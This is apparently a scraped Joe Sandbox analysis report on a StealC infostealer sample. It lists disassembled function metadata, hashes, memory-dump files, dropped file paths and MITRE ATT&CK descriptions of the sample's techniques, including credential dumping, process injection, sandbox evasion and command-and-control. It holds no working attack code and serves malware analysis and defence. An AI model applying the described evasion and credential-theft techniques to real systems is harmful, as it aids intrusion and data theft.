Instruction Fuzzy Hash: D4F04FB1700645CBDB009F1AD88579033F1E74772EF244A15D5440BB51D735B65ACA9F

Function 6C656C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Khl,?,6C684B30,80000000,?,6C684AB7,?,6C6443CF,?,6C6442D2), ref: 6C656C42

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

moz_xmalloc.MOZGLUE(0Khl,?,6C684B30,80000000,?,6C684AB7,?,6C6443CF,?,6C6442D2), ref: 6C656C58

Strings

0Khl, xrefs: 6C656C33, 6C656C41, 6C656C57

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Khl
API String ID: 1967447596-1149274432
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 4ddf5283f411f889b3a2b5c6c4fc26b38d7d96a10c2ba9fa39be4112fd7d33d5
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: D9E026F1A101001A9B08987C9C0996A75C88B193AA7A44A35E823C2BC8FB94E470C15D

Function 6C69B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C69B2C9,?,?,?,6C69B127,?,?,?,?,?,?,?,?,?,6C69AE52), ref: 6C69B628

Part of subcall function 6C6990E0: free.MOZGLUE(?,00000000,?,?,6C69DEDB), ref: 6C6990FF
Part of subcall function 6C6990E0: free.MOZGLUE(?,00000000,?,?,6C69DEDB), ref: 6C699108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C69B2C9,?,?,?,6C69B127,?,?,?,?,?,?,?,?,?,6C69AE52), ref: 6C69B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C69B2C9,?,?,?,6C69B127,?,?,?,?,?,?,?,?,?,6C69AE52), ref: 6C69B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C69B127,?,?,?,?,?,?,?,?), ref: 6C69B74D

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b3b9cbfc2a47ed6e39ea7d2c2c04f4a41759893a74f10b404b4929208261169e
Instruction ID: 745a7207a98e489b085f30078d5c027463f12024debc2cde6ef323bdac06fa4c
Opcode Fuzzy Hash: b3b9cbfc2a47ed6e39ea7d2c2c04f4a41759893a74f10b404b4929208261169e
Instruction Fuzzy Hash: 3E51CE71A05216CFDB24CF58C9806AEB7B5FFC5708F55862DC85AAB700D731A904CBA9

Function 6C696E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C696EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C696EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C696F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C696F5C

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 1690337ae5d60a150696c4f15a1ce2aa47236d606047fa87a2b849e2ac380d59
Instruction ID: 6b7fced44f0cfb1037c7db65bc79132b4f65ce24aeefa2edf59331c47a151205
Opcode Fuzzy Hash: 1690337ae5d60a150696c4f15a1ce2aa47236d606047fa87a2b849e2ac380d59
Instruction Fuzzy Hash: 5231C371A1060B8FDB44CF2CC9806AA73FAEB85344F508639D41BD7651EB32E659C7E4

Function 6C6AB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C650A4D), ref: 6C6AB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C650A4D), ref: 6C6AB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C650A4D), ref: 6C6AB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C650A4D), ref: 6C6AB67F

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e275126af61f0abe232575c1fae10b73198cc26da7227e15674ebc2f2adf0f7e
Instruction ID: 459feaea3ffc1d3be6db16d73ee34a6f8e856242b5729f0a438e7d748e54214c
Opcode Fuzzy Hash: e275126af61f0abe232575c1fae10b73198cc26da7227e15674ebc2f2adf0f7e
Instruction Fuzzy Hash: 4331C871A012198FDB10CF99C88465AB7F5FFC1314F168569C8069B711DB31ED16CBE5

Function 6C67F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C67F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C67F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C67F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C67F668

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 69150ccdfaacd19e952436e4249937dba37d11524efd04253a753f2a6ef859f1
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: FF315171A00214AFD724CF6DCCC0E9F77B5EF94354B148939FA4A8BB04D632E9548BA9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6SoKuOqyNh.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCAFHCA

C:\ProgramData\BGDAKEHIIDGDAAKECBFBKKFCGH

C:\ProgramData\FBFCGIDAKECGCBGDBAFIDHCFBA

C:\ProgramData\HDGIJJDG

C:\ProgramData\HIEBAKEHDHCAKEBFBKEG

C:\ProgramData\IECBAFCAAKJDHJKFIEBG

C:\ProgramData\JEHIJDGIEBKKFHJKJKEG

C:\ProgramData\JKJDHDBKEBGHJJJJKEHDHJJEGH

Windows Analysis Report
6SoKuOqyNh.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre